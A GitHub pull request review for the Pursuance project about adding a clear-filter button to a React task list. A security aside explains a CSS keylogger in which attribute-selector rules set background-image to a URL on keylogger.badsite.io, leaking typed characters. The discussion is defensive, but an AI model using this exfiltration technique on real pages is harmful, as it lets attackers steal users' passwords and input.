Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

I 217 clear right filter #220

Merged
merged 6 commits into from
Jul 12, 2018

Conversation

4xdk
Copy link
Collaborator

@4xdk 4xdk commented Jul 2, 2018

As per Issue 217 - #217

render() {
const { rightPanel: { taskListFilter } } = this.props;
const matches = this.getMatchingTasks();

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Whitespace

@@ -253,6 +260,11 @@ class TaskList extends Component {
autoFocus
onChange={this.onChangeFilter}
/>
<Button className="clear-input"
onClick={ this.clearFilter }
style={{opacity: taskListFilter.length > 0 ? '' : '0', cursor: taskListFilter.length > 0 ? 'pointer' : 'default'}}>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@4xdk For obscure security reasons, please create 2 CSS classes that you want to choose between here, and select those rather than doing an inline style!

Copy link
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sure. Would you have any info on those obscure security reasons? I'm curious now how inline CSS could be a risk

@elimisteve
Copy link
Contributor

@elimisteve
Copy link
Contributor

@elimisteve
Copy link
Contributor

I just watched https://m.youtube.com/watch?v=eb3suf4REyI , which provides some explicit examples of how CSS injections can lead to issues like data exfiltration from the page to another domain controlled by the attacker.

@elimisteve
Copy link
Contributor

I need to better understand how this CSS keylogger works: https://no-csp-css-keylogger.badsite.io

@4xdk
Copy link
Collaborator Author

4xdk commented Jul 4, 2018

Looks like there's a whole bunch of css rules for the input values (value ending with aa, ab, ac, etc) which change the background image css rule to e.g. background-image: url("//keylogger.badsite.io/ab") initiating GET request and passing this data to be joined on the server.

Interesting thing about this is that it's not that reliable. Each request gets sent only once, so password such as "aaaa" sends info about "a" and "aa" being present, nothing about the latter 2 characters in it. Still, an issue of course.

@@ -234,6 +236,11 @@ class TaskList extends Component {
rpUpdateTaskListFilter(e.target.value);
}

clearFilter = () => {
const { rpUpdateTaskListFilter } = this.props;
rpUpdateTaskListFilter('');
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@4xdk Here, please also give the text input focus so that the user can begin typing immediately.

onClick={ this.clearFilter }
>
<FaTimes size={28} />
</Button>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@4xdk Put this button just to the right of the text input (rather than floating over it), so that when the filter text is long, we don't have the issue of the text behind behind the button, know what I mean?

@4xdk
Copy link
Collaborator Author

4xdk commented Jul 5, 2018

Gotcha, I meant to add padding on the field to avoid that but this sounds even better.

@elimisteve elimisteve merged commit 12f3e40 into PursuanceProject:develop Jul 12, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants